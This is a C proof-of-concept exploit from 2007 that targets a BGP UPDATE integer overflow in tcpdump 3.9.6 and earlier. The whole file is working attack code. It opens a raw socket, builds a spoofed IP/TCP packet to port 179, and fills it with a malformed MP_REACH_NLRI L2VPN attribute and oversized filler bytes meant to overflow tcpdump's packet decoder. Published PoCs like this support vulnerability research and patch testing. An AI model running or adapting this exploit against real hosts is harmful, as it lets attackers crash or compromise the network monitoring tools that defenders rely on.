/* tcpdump-bgp.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * tcpdump <= 3.9.6 BGP UPDATE remote overflow POC (lnx)
 * by mu-b - July 2007
 *
 * - Tested on: tcpdump-3.9.6 (.tar.gz)
 *
 * simple snprintf length integer overflow...
 *
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#define __FAVOR_BSD
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define TH_PUSH   0x08

#define PORT_BGP  179
#define PKT_LEN   512

#define BGPTYPE_MP_REACH_NLRI 14
#define AFNUM_L2VPN           196
#define SAFNUM_VPNUNICAST     128

static unsigned short
ip_sum (const unsigned short *ptr, int len)
{
  register int sum = 0;

  while (len > 1)
    {
      sum += *ptr++;
      len -= 2;
    }

  if (len == 1)
    sum += *((unsigned char *) ptr);

  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);

  return (~sum);
}

int 
main (void)
{
  int raw_fd, opt_val, *popt_val;
  char buf[4096], *ptr;
  struct ip *iph;
  struct tcphdr *tcph;
  struct sockaddr_in sin;

  printf ("tcpdump <= 3.9.6 BGP UPDATE remote overflow POC\n"
          "by mu-b <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  if ((raw_fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP)) < 0)
    {
      perror ("socket ()");
      exit (EXIT_FAILURE);
    }

  opt_val = 1;
  popt_val = &opt_val;
  if (setsockopt (raw_fd, IPPROTO_IP, IP_HDRINCL, popt_val, sizeof opt_val) < 0)
    {
      perror ("setsockopt ()");
      exit (EXIT_FAILURE);
    }

  sin.sin_family = AF_INET;
  sin.sin_port = htons (PORT_BGP);
  sin.sin_addr.s_addr = inet_addr ("127.0.0.1");

  memset (buf, 0, 4096);

  iph = (struct ip *) buf;
  iph->ip_hl = 5;
  iph->ip_v = 4;
  iph->ip_tos = 0;
  iph->ip_len = htons (sizeof (struct ip) + sizeof (struct tcphdr) + PKT_LEN);
  iph->ip_id = htonl (54321);
  iph->ip_off = 0;
  iph->ip_ttl = 255;
  iph->ip_p = 6;
  iph->ip_sum = 0;
  iph->ip_src.s_addr = inet_addr ("1.2.3.4");
  iph->ip_dst.s_addr = sin.sin_addr.s_addr;
  iph->ip_sum = ip_sum ((unsigned short *) buf, sizeof (struct ip));

  tcph = (struct tcphdr *) (buf + sizeof (struct ip));
  tcph->th_sport = htons (65535);
  tcph->th_dport = htons (PORT_BGP);
  tcph->th_seq = rand ();
  tcph->th_ack = 0;
  tcph->th_x2 = 0;
  tcph->th_off = sizeof (struct tcphdr) / 4;
  tcph->th_flags = TH_PUSH;
  tcph->th_win = htonl (65535);
  tcph->th_sum = 0;
  tcph->th_urp = 0;

  ptr = buf + sizeof (struct ip) + sizeof (struct tcphdr);
  
  memset (ptr, 0xFF, 16);           /* marker */
   ptr  += 16;
  *ptr++ = 0x02;                    /* length */
  *ptr++ = 0x00;
  *ptr++ = 0x02;                    /* type = BGP_UPDATE */
  *ptr++ = 0x00;                    /* length */
  *ptr++ = 0x00;
  *ptr++ = 0x00;                    /* length */
  *ptr++ = 0xFF;

  *ptr++ = 0x00;                    /* attr flags */
  *ptr++ = BGPTYPE_MP_REACH_NLRI;   /* attr type */
  *ptr++ = 0xFF;                    /* attr length */

  *ptr++ = (AFNUM_L2VPN << 8) & 0xFF;
  *ptr++ = AFNUM_L2VPN & 0xFF;
  *ptr++ = SAFNUM_VPNUNICAST;
  *ptr++ = 0x00;                    /* Next-HOP */
  *ptr++ = 0x00;                    /* SNPA */

  /* decode_labeled_vpn_l2 */
  *ptr++ = 0xFF;                    /* tlen = plen */
  *ptr++ = 0xFF;
  memset (ptr, 0xFF, 15);           /* marker */
   ptr  += 15;
  *ptr++ = 0x01;                    /* type */
  *ptr++ = 0x04;                    /* len */
  *ptr++ = 0x50;

  memset (ptr, 0x41, PKT_LEN);

  if (sendto (raw_fd, buf, sizeof (struct ip) + sizeof (struct tcphdr) + PKT_LEN, 0,
              (struct sockaddr *) &sin, sizeof (sin)) < 0)
    {
      perror ("sendto ()");
      exit (EXIT_FAILURE);
    }

  return (EXIT_SUCCESS);
}